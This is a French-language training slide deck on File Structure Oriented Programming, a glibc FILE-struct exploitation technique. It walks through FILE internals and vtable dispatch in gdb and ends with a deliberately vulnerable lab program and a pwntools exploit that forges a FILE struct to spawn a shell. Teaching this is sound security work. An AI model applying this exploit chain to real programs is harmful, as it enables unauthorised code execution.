PARTIE 5

File Structure Oriented Programming

AMOSSYS

File Structure

AMOSSYS

Ouverture

- open
- fopen

File Structure

open

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(int argc, char ** argv){
    int fd = open("./file.txt", O_RDWR);
    printf("fd = %d\n", fd);
    fd = 1;
    write(fd, "aaa", 3);
}
```

File Structure

open

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(int argc, char ** argv){
    int fd = open("./file.txt", O_RDWR);
    printf("fd = %d\n", fd);
    fd = 1;
    write(fd, "aaa", 3);
}
```

```
$ ./open
fd = 3
aaa
```

- Open ouvre un fichier d'un point de vue vraiment bas niveau
- Seul un file descriptor est renvoyé à l'utilisateur
- On peut quand même faire de l'exploitation si on arrive à modifier cette variable.

File Structure

fopen

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char ** argv){
    int fd = fopen("./file.txt", "rw");
    printf("fd = %d\n", fd);
    fd = 1;
    write(fd, "aaa", 3);
}
```

File Structure

fopen

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char ** argv){
    int fd = fopen("./file.txt", "rw");
    printf("fd = %d\n", fd);
    fd = 1;
    write(fd, "aaa", 3);
}
```

→ Ça compile pas

```
$ gcc fopen.c -o fopen
fopen.c: In function ‘main’:
fopen.c:6:14: error: initialization of ‘int’ from
    6 |     int fd = fopen("./file.txt", "rw");
```

File Structure

fopen

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sendfile.h>

int main(int argc, char ** argv){
    FILE * fd = fopen("./file.txt", "rw");
    sendfile(1, fd->_fileno, 0, 20);
}
```

```
$ ./fopen
AAAAAAAAAAAAAAAAAA
```

File Structure

fopen

```
(gdb) p *(struct _IO_FILE_plus*)$rax
$2 = {_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f874e0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_short_backupbuf = "",
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x5555555593f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x555555559400,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7ffff7f874c0 <_IO_list_all>,
_mode = 0,
_unused3 = 0,
_total_written = 0,
_unused2 = "\000\000\000\000\000\000\000"}
vtable = 0x7ffff7f85030 <_IO_file_jumps>
```

File Structure

fopen

```
(gdb) p *(struct _IO_FILE_plus*)$rax
$2 = {_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7f874e0 <_IO_2_1_stderr_>,
_fileno = 3,
```

- bufferisation
- pointeurs de lecture
- possible arbitrary RW
- les FS sont chainées (_chain)
- le fileno

File Structure

AMOSSYS

fopen

- le lock
- wide data (vtable No2)
- vtable
- prevchain

```
_flags2 = 0,
_short_backupbuf = "",
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x5555555593f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x555555559400,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7ffff7f874c0 <_IO_list_all>,
_mode = 0,
_unused3 = 0,
_total_written = 0,
_unused2 = "\000\000\000\000\000\000\000"}
vtable = 0x7ffff7f85030 <_IO_file_jumps>
```

File Structure

fopen

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sendfile.h>


int main(int argc, char ** argv){
    FILE * fd = fopen("./file.txt", "rw");
    char buf[20];
    //b dans le fwrite
    fwrite(buf, 1, 10, fd);
}
```

File Structure

fopen

```
vtable = 0x7ffff7f85030 <_IO_file_jumps>

(gdb) x/i $rip
=> 0x7ffff7e1fd32 <__GI__IO_fwrite+210>:        call   *0x38(%rax)
(gdb) x $rax
   0x7ffff7f85030 <_IO_file_jumps>:        add    %al,(%rax)
(gdb) si
_IO_new_file_xsputn (f=0x555555559310, data=0x7fffffffd940, n=10)
at ./libio/fileops.c:1265
warning: 1265        ./libio/fileops.c: No such file or directory

(gdb) x/50gx 0x7ffff7f85030
0x7ffff7f85030 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7f85040 <_IO_file_jumps+16>: 0x00007ffff7e2b140 0x00007ffff7e2bd70
0x7ffff7f85050 <_IO_file_jumps+32>: 0x00007ffff7e2b960 0x00007ffff7e2e0a0
0x7ffff7f85060 <_IO_file_jumps+48>: 0x00007ffff7e2f5e0 0x00007ffff7e2c9c0

(gdb) x/10gx 0x00007ffff7e2c9c0
0x7ffff7e2c9c0 <_IO_new_file_xsputn>: 0x417974d28548c031 0xd5894855f4894954
0x7ffff7e2c9d0 <_IO_new_file_xsputn+16>: 0x10ec8348fb894853 0xd0f7287f8b48038b
0x7ffff7e2c9e0 <_IO_new_file_xsputn+32>: 0x0000f7840f0ac4f6 0xc7394830438b4800
0x7ffff7e2c9f0 <_IO_new_file_xsputn+48>: 0xc28948f829485673 0x894cd53948c03145
0x7ffff7e2ca00 <_IO_new_file_xsputn+64>: 0x0f48082444894ce6 0x2de824148948d546
```

File Structure

fopen

```
0x7fc352b9a8e0 : 0x00000000fbad2088 0x0000000000000000
0x7fc352b9a8f0 : 0x0000000000000000 0x0000000000000000
0x7fc352b9a900 : 0x0000000000000000 0x0000000000000000
0x7fc352b9a910 : ici                0x0000000000000000
0x7fc352b9a920 : 0x0000000000000000 0x0000000000000000
0x7fc352b9a930 : 0x0000000000000000 0x0000000000000000
0x7fc352b9a940 : 0x0000000000000000 ici + 0x38 = win
0x7fc352b9a950 : 0x0000000000000000 0xffffffffffffffff
0x7fc352b9a960 : 0x0000000000000000 0x00007fc352b9c7a0
0x7fc352b9a970 : 0xffffffffffffffff 0x0000000000000000
0x7fc352b9a980 : 0x00007fc352b9a9c0 0x0000000000000000
0x7fc352b9a990 : 0x0000000000000000 0x00007fc352b9b628
0x7fc352b9a9a0 : 0x0000000000000000 0x0000000000000000
0x7fc352b9a9b0 : 0x0000000000000000 new to a910 (ici)
```

File Structure

fopen

```
void _IO_wdoallocbuf(byte *param_1)
{
...

  lVar3 = *(long *)(param_1 + 0xa0);
  if (*(long *)(lVar3 + 0x30) != 0) {
    return;
  }
  if ((*param_1 & 2) == 0) {
    iVar2 = (**(code **)(*(long *)(lVar3 + 0xe0) + 0x68))();
 ...
  }
...
}
```

File Structure

fopen

```
ulong _IO_wfile_overflow(uint *param_1,uint param_2)
{
...
  uVar6 = *param_1;
  if ((uVar6 & 8) != 0) {
    *param_1 = uVar6 | 0x20;
    *in_FS_OFFSET = 9;
    return 0xffffffff;
  }
  plVar4 = *(long **)(param_1 + 0x28);
  if ((uVar6 & 0x800) == 0) {
    if (plVar4[3] == 0) goto LAB_001870bd;
    ...
  }
  else {
    if (plVar4[3] != 0) goto LAB_00187078;
LAB_001870bd:
    _IO_wdoallocbuf();
    ...
  }
...
}
```

File Structure

fopen

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void win(){
    system("/bin/sh");
}


int main(int argc, char ** argv){
    printf("win at %p\n", &win);
    printf("puts at %p\n", puts);

    FILE * fp = fopen("/dev/null", "rw");
    printf("put what you want in the file %p\n",
        "struct\n>\n");
    read(0, fp, 0x400);
    char buf[0x100];
    fwrite(buf, 1, 10, fp);
    exit(0);
}
```

```
0x55f7134da720: 0x00000000fbad???? 0x????????????????
0x55f7134da730: 0x???????????????? 0x????????????????
0x55f7134da740: 0x???????????????? 0x????????????????
0x55f7134da750: 0x???????????????? 0x????????????????
0x55f7134da760: 0x???????????????? 0x????????????????
0x55f7134da770: 0x???????????????? 0x????????????????
0x55f7134da780: 0x???????????????? 0x????????????????
0x55f7134da790: 0x0000000000000003 0x????????????????
0x55f7134da7a0: 0x???????????????? 0x000055f7134da6f0
0x55f7134da7b0: 0xffffffffffffffff 0x????????????????
0x55f7134da7c0: 0x???????????????? 0x????????????????
0x55f7134da7d0: 0x???????????????? 0x????????????????
0x55f7134da7e0: 0x00000000ffffffff 0x????????????????
0x55f7134da7f0: 0x???????????????? _IO_wfile_overflow-0x38
```

File Structure

fopen

```
=> 0x7f3199abcff0 wfile_overflow: mov  (%rdi),%edx
   0x7f3199abcff2 wfile_overflow+2: test $0x8,%dl
   0x7f3199abcff5 wfile_overflow+5: jne  0x7f3199abd148 XX
   0x7f3199abcffb wfile_overflow+11: push %rbx
   0x7f3199abcffc wfile_overflow+12: mov  %esi,%ebx
   0x7f3199abcffe wfile_overflow+14: sub  $0x10,%rsp
   0x7f3199abd002 wfile_overflow+18: mov  0xa0(%rdi),%rcx
   0x7f3199abd009 wfile_overflow+25: mov  0x18(%rcx),%rax
   0x7f3199abd00d wfile_overflow+29: test $0x8,%dh
   0x7f3199abd010 wfile_overflow+32: jne  0x7f3199abd0b8  VV
...
   0x7f3199abd0b8 wfile_overflow+200: test %rax,%rax
   0x7f3199abd0bb wfile_overflow+203: jne  0x7f3199abd078
   0x7f3199abd0bd wfile_overflow+205: mov  %rdi,0x8(%rsp)
   0x7f3199abd0c2 wfile_overflow+210: call  wdoallocbuf
...
   0x7f3199abb220 wdoallocbuf: mov 0xa0(%rdi),%rax
   0x7f3199abb227 wdoallocbuf+7: cmpq $0x0,0x30(%rax)
   0x7f3199abb22c wdoallocbuf+12: je  0x7f3199abb230 VV
   0x7f3199abb22e wdoallocbuf+14: ret
   0x7f3199abb22f wdoallocbuf+15: nop
   0x7f3199abb230 wdoallocbuf+16: sub    $0x28,%rsp
   0x7f3199abb234 wdoallocbuf+20: mov    %rdi,%rdx
   0x7f3199abb237 wdoallocbuf+23: testb  $0x2,(%rdi)
   0x7f3199abb23a wdoallocbuf+26: jne    0x7f3199abb2d0 XX
   0x7f3199abb240 wdoallocbuf+32: mov    0xe0(%rax),%rax
   0x7f3199abb247 wdoallocbuf+39: mov    %rdi,0x8(%rsp)
   0x7f3199abb24c wdoallocbuf+44: call   *0x68(%rax)
```

File Structure

fopen

```
0x7f3199abcff0 wfile_overflow: mov  (%rdi),%edx
0x7f3199abcff2 wfile_overflow+2: test $0x8,%dl
0x7f3199abcff5 wfile_overflow+5: jne  0x7f3199abd148 XX
```

```
0x55f7134da720: 0x00000000fbad???0 0x????????????????
0x55f7134da730: 0x???????????????? 0x????????????????
0x55f7134da740: 0x???????????????? 0x????????????????
0x55f7134da750: 0x???????????????? 0x????????????????
0x55f7134da760: 0x???????????????? 0x????????????????
0x55f7134da770: 0x???????????????? 0x????????????????
0x55f7134da780: 0x???????????????? 0x????????????????
0x55f7134da790: 0x0000000000000003 0x????????????????
0x55f7134da7a0: 0x???????????????? 0x000055f7134da6f0
0x55f7134da7b0: 0xffffffffffffffff 0x????????????????
0x55f7134da7c0: 0x???????????????? 0x????????????????
0x55f7134da7d0: 0x???????????????? 0x????????????????
0x55f7134da7e0: 0x00000000ffffffff 0x????????????????
0x55f7134da7f0: 0x???????????????? _IO_wfile_overflow-0x38
```

File Structure

fopen

```
0x7f3199abd002 wfile_overflow+18: mov  0xa0(%rdi),%rcx
0x7f3199abd009 wfile_overflow+25: mov  0x18(%rcx),%rax
0x7f3199abd00d wfile_overflow+29: test $0x8,%dh
0x7f3199abd010 wfile_overflow+32: jne  0x7f3199abd0b8  VV

0x7f3199abd0b8 wfile_overflow+200: test %rax,%rax
0x7f3199abd0bb wfile_overflow+203: jne  0x7f3199abd078
0x7f3199abd0bd wfile_overflow+205: mov  %rdi,0x8(%rsp)
0x7f3199abd0c2 wfile_overflow+210: call  wdoallocbuf
```

```
0x55f7134da720: 0x00000000fbad?8?0 0x????????????????
0x55f7134da730: 0x???????????????? 0x????????????????
0x55f7134da740: 0x???????????????? 0x????????????????
0x55f7134da750: 0x???????????????? 0x????????????????
0x55f7134da760: 0x???????????????? 0x????????????????
0x55f7134da770: 0x???????????????? 0x????????????????
0x55f7134da780: 0x???????????????? 0x????????????????
0x55f7134da790: 0x0000000000000003 0x????????????????
0x55f7134da7a0: 0x???????????????? 0x000055f7134da6f0
0x55f7134da7b0: 0xffffffffffffffff 0x????????????????
0x55f7134da7c0: 0x000055f7134da680 0x????????????????
0x55f7134da7d0: 0x???????????????? 0x????????????????
0x55f7134da7e0: 0x00000000ffffffff 0x????????????????
0x55f7134da7f0: 0x???????????????? _IO_wfile_overflow-0x38
```

File Structure

fopen

```
0x7f3199abb220 wdoallocbuf: mov 0xa0(%rdi),%rax
0x7f3199abb227 wdoallocbuf+7: cmpq $0x0,0x30(%rax)
0x7f3199abb22c wdoallocbuf+12: je  0x7f3199abb230 VV

0x7f3199abb234 wdoallocbuf+20: mov    %rdi,%rdx
0x7f3199abb237 wdoallocbuf+23: testb  $0x2,(%rdi)
0x7f3199abb23a wdoallocbuf+26: jne    0x7f3199abb2d0 XX
0x7f3199abb240 wdoallocbuf+32: mov    0xe0(%rax),%rax
0x7f3199abb247 wdoallocbuf+39: mov    %rdi,0x8(%rsp)
0x7f3199abb24c wdoallocbuf+44: call   *0x68(%rax)
```

```
0x55f7134da720: 0x00000000fbad?8?0 0x????????????????
0x55f7134da730: 0x???????????????? 0x????????????????
0x55f7134da740: 0x???????????????? 0x000055f6fb29c189
0x55f7134da750: 0x???????????????? 0x????????????????
0x55f7134da760: 0x000055f7134da6e0 0x????????????????
0x55f7134da770: 0x???????????????? 0x????????????????
0x55f7134da780: 0x???????????????? 0x????????????????
0x55f7134da790: 0x0000000000000003 0x????????????????
0x55f7134da7a0: 0x???????????????? 0x000055f7134da6f0
0x55f7134da7b0: 0xffffffffffffffff 0x????????????????
0x55f7134da7c0: 0x000055f7134da680 0x????????????????
0x55f7134da7d0: 0x???????????????? 0x????????????????
0x55f7134da7e0: 0x00000000ffffffff 0x????????????????
0x55f7134da7f0: 0x???????????????? _IO_wfile_overflow-0x38
```

File Structure

fopen

```
io = process("./file_exploit")

our_file = FileStruct()

io.recvuntil(b"win at ")
win = int(io.recvuntil(b"\n")[:-1], 16)
io.recvuntil(b"puts at ")
puts = int(io.recvuntil(b"\n")[:-1], 16)
io.recvuntil(b"file at ")
file = int(io.recvuntil(b"\n")[:-1], 16)


libc_base = puts -
  (0x7fcd1a45a060 - 0x00007fcd1a3d5000)
new_vtable = libc_base - 0x38 +
  (0x7fcd1a5be240 - 0x00007fcd1a3d5000)
writable_at_for_lock = file - 0x30
chain = libc_base +
  (0x00007f95a01ec4e0-0x00007f95a0001000)
prev_chain = libc_base +
  (0x00007f95a01ec4c0-0x00007f95a0001000)
```

```
our_file.flag += 0x2c80
our_file.fileno = 3
our_file.vtable = new_vtable
our_file.lock = writable_at_for_lock
our_file.off = 0xffffffffffffffff
our_file.wptr = win
our_file.bend = file - 0x40
our_file.wide = file - 0xa0

io.sendlineafter(b"file struct", our_file.to_bytes())
io.interactive()
```

```
[*] Switching to interactive mode

>
$ ls
Makefile     core.11930     core.14205     file_exploit.c
core.10218   core.12535     core.14477     file_exploit_patch
core.10665   core.12958     core.7076      fopen
core.10972   core.13218     core.7752      fopen.c
core.11216   core.13558     file.txt       g
core.11565   core.13847     file_exploit   ld-linux-x86-64.so
```